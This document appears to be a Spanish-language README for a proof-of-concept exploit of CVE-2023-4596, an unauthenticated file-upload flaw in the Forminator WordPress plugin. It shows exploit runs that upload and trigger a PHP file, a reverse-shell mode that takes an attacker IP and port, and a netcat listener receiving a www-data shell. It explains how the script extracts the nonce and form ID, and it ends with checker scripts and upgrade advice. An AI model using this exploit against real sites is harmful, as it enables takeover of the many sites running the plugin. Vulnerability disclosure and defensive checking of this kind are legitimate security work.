
PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads.
Script PoC para CVE-2023-4596, ejecución remota de comandos no autenticada mediante subida de archivos arbitrarios.
Vídeo del PoC en uso
Plantilla de Nuclei
Artículo de noticias
WordFence
NVD Nist
Se ha descubierto una vulnerabilidad crítica en el plugin de WordPress Forminator, que permite a un atacante no autorizado subir archivos arbitrarios a un servidor. La prueba de concepto (PoC) inicial estaba mal escrita; el investigador original compartió algunas capturas de pantalla poco claras junto con una solicitud que contenía código sin explicar. Así que escribí un script en Python para simplificar y automatizar el proceso.
La vulnerabilidad se debe a un error en el proceso de validación de tipos de archivo. Al intentar subir un formato de archivo prohibido, como PHP, se genera una alerta que indica que la "extensión del archivo subido no está permitida". A pesar de esta notificación, el archivo subido no se bloquea, sino que se sube correctamente y se puede acceder a él dentro de la carpeta "/wp-content/uploads" del sitio. Esta vulnerabilidad puede conducir a la ejecución remota de código.
Forminator está actualmente activo en más de 400.000 sitios y, dada la simplicidad de la vulnerabilidad, es bastante fácil obtener el control de cualquier sitio que ejecute Forminator con la subida de archivos habilitada.
Encuentra una página que ejecute Forminator <= 1.24.6 con una función de subida en la página. Copia la URL completa de la página que está ejecutando los datos de publicación de la subida de archivos mediante Forminator; si solo se especifica el dominio, mostrará un error. Puedes usar interactsh o Burp Collaborator para generar un enlace, que puedes pegar en el campo seleccionado. Después de una subida exitosa, debería aparecer una solicitud en interactsh o burp en un plazo de 5 segundos, lo que indica que es vulnerable.
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Introduce el enlace fuera de banda: <input link>
[+] Enviando payload al objetivo
[+] ¡Subida de archivo exitosa!
Ubicación del archivo subido: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php
[+] Enviando solicitud al archivo subido...
[+] ¡Archivo subido activado correctamente!
[+] Comprueba si hay una solicitud entrante
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
[+] Versión vulnerable encontrada: 1.24.6
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Introduce la dirección IP: <input IP>
Introduce el puerto: <input port>
[+] Enviando payload al objetivo
[+] ¡Subida de archivo exitosa!
Ubicación del archivo subido: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php
[+] Enviando solicitud al archivo subido...
[-] La solicitud agotó el tiempo de espera. Esto podría deberse a que el servidor no está disponible o a que iniciaste una reverse shell
user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
El script solo necesita la URL completa de una página que esté usando Forminator con la subida de archivos habilitada y un enlace de interactsh para determinar si la instancia es vulnerable. La primera solicitud se envía a la página para extraer el forminator_nonce y el form_id, que son valores diferentes para cada página. Después de recuperar estos valores, se envía una segunda solicitud que utiliza estos valores extraídos y se sube el archivo PHP. Este archivo PHP usa el enlace de interactsh proporcionado anteriormente por el usuario y lo añade al script. Cuando se visita la página donde se encuentra el script PHP, aparecerá una solicitud en interactsh que indica que el sitio es vulnerable. Se usa Regex para dividir la URL en partes que se utilizan más adelante en la solicitud; también se usa para determinar la versión de Forminator que se imprime al usar el argumento -v. La ubicación donde se sube el archivo depende del año y los meses en que lo subas. Por eso usé datetime para determinar el mes y el año actuales, que también se usan más adelante para enviar la solicitud a la ubicación del archivo subido. Al probar la vulnerabilidad, usaba un solo nombre de archivo, pero después de enviar varios archivos, noté que solo se iniciaba el primer archivo subido. Para solucionarlo, se usa una cadena aleatoria para cada solicitud.
[-] No se pudo extraer forminator_nonce
Este exploit solo funciona cuando se proporciona un enlace de la página exacta donde la subida de archivos está habilitada con Forminator. Cuando se proporciona un enlace con solo el dominio o una página que no tiene una subida de archivos activa, muestra un error. Esto se debe a que extrae el forminator_nonce de la URL proporcionada y, si esta página no está ejecutando Forminator o la subida de archivos de Forminator, no puede encontrar el valor ni usarlo. También puedes comprobarlo buscando la cadena "forminator-field-post-image-postdata" en el código fuente del sitio. Un enlace completo, por ejemplo, se ve así: http://127.0.0.1:8000/?p=7. Puedes encontrar el problema completo aquí.
He incluido dos archivos (checker.sh y checker.bat) en el repositorio que revisan la carpeta actual y las subcarpetas en busca de archivos con una extensión bloqueada. Cuando se encuentran, se muestran. La razón de este script es que por cada mes que el plugin ha estado instalado, se crea una nueva carpeta, lo que puede requerir mucho trabajo para revisarlas todas manualmente.
Actualiza a la última versión
http://127.0.0.1:8000El script proporcionado es solo con fines educativos; no soy responsable de tus acciones.
Twitter
Hecho por Finn van der Knaap